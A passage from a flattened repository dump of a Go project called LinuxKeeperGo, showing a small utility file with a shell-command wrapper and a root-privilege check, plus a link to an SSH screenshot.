} 20 | -------------------------------------------------------------------------------- /internal/utils/shell.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "os/exec" 6 | "strings" 7 | ) 8 | 9 | // ExecuteCommand 执行shell命令并返回输出 10 | func ExecuteCommand(command string) (string, error) { 11 | cmd := exec.Command("sh", "-c", command) 12 | var out bytes.Buffer 13 | cmd.Stdout = &out 14 | err := cmd.Run() 15 | return strings.TrimSpace(out.String()), err 16 | } 17 | 18 | // CheckRoot 检查是否具有root权限 19 | func CheckRoot() bool { 20 | output, err := ExecuteCommand("id -u") 21 | if err != nil { 22 | return false 23 | } 24 | return output == "0" 25 | } 26 | -------------------------------------------------------------------------------- /pngs/ssh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/10cks/LinuxKeeperGo/982b5a5cbc2e7f41026dcdd1195d57ca02f44b92/pngs/ssh.png --------------------------------------------------------------------------------